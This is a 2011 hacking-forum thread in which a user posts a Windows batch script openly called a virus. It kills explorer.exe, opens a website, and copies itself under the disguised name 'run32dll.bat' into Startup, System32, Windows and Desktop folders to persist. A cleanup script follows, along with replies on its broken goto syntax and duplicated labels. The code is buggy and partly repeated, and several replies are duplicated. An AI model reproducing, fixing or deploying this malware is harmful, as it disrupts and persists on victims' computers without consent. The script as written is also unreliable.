Sinisterly
Fun Batch File :D - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Fun Batch File :D (/Thread-Fun-Batch-File-D)

Pages: 1 2


Fun Batch File :D - NoExit - 09-01-2011

Hello i have created a simple computer virus, this virus can get you a good laugh. Biggrin


@echo off
copy %0 C:\Progra~1\Startup
taskkill /IM explorer.exe
start http://www.hackcommunity.com
echo taskkill /IM explorer.exe > C:\Progra~1\Startup\run32dll.bat
echo start http://www.hackcommunity.com >> C:\Progra~1\Startup\run32dll.bat
IF NOT EXIST C:\Progra~1\Startup\run32dll.bat goto :fightingback






:fightingback
echo taskkill /IM explorer.exe > C:\Progra~1\Startup\run32dll.bat
echo start http://www.hackcommunity.com >> C:\Progra~1\Startup\run32dll.bat
copy C:\Progra~1\Startup\run32dll.bat C:\Windows\System32
copy C:\Windows\System32\run32dll.bat C:\Windows
copy C:\Windows\run32dll.bat C:\Docume~1\AllUse~1\Appdata
copy C:\Docume~1\AllUse~1\Appdata\run32dll.bat C:\Docume~1\AllUse~1\Desktop
goto :end





:end
exit




:fightingback
echo taskkill /IM explorer.exe > C:\Progra~1\Startup\run32dll.bat
echo start http:\\www.hackforums.net >> C:\Progra~1\Startup\run32dll.bat
copy C:\Progra~1\Startup\run32dll.bat C:\Windows\System32
copy C:\Windows\System32\run32dll.bat C:\Windows
copy C:\Windows\run32dll.bat C:\Docume~1\AllUse~1\Appdata
copy C:\Docume~1\AllUse~1\Appdata\run32dll.bat C:\Docume~1\AllUse~1\Desktop
goto :end





:end
exit


Name this file run32dll.bat or it will not work!
Here is the anti-virus for this in case you infect yourself:


@echo off
del C:\Progra~1\Startup\run32dll.bat
del C:\Windows\System32\run32dll.bat
del C:\Windows\run32dll.bat
del C:\Docume~1\AllUse~1\Desktop\run32dll.bat
del C:\Docume~1\AllUse~1\Appdata\run32dll.bat
start explorer.exe
start winlogin.exe
echo The virus is removed
pause
exit


It may not work on some computers.
Run as administrator on vista and windows 7.

Evil


RE: ~My Virus~ - chipp - 09-02-2011

do you think that this script is working? cause this:
Code:
goto :end

is syntax error (as far as i know)...


RE: ~My Virus~ - NoExit - 09-02-2011

hmmm it used to work before but i haven t tried it lately...


RE: ~My Virus~ - ArkPhaze - 09-05-2011

Try this then:
Code:
goto end

It's simple goto syntax, if you don't know how to use goto's then you need to review the basics


RE: ~My Virus~ - Jacob - 09-05-2011

why do you have so many ":end" tags and goto end commands? the processes are probably extremely confused...


RE: ~My Virus~ - Jacob - 09-05-2011

why do you have so many ":end" tags and goto end commands? the processes are probably extremely confused...


RE: ~My Virus~ - NoExit - 09-06-2011

hahahahaha xDDD <3

i am used to do scripts like that Tongue


RE: ~My Virus~ - NoExit - 09-06-2011

hahahahaha xDDD <3

i am used to do scripts like that Tongue


RE: ~My Virus~ - Jacob - 09-06-2011

using one goto end command would go to every one of those at the same time...if anything you'd want ":end, :end1, :end2" then "goto end, goto end2, etc..."


RE: ~My Virus~ - Jacob - 09-06-2011

using one goto end command would go to every one of those at the same time...if anything you'd want ":end, :end1, :end2" then "goto end, goto end2, etc..."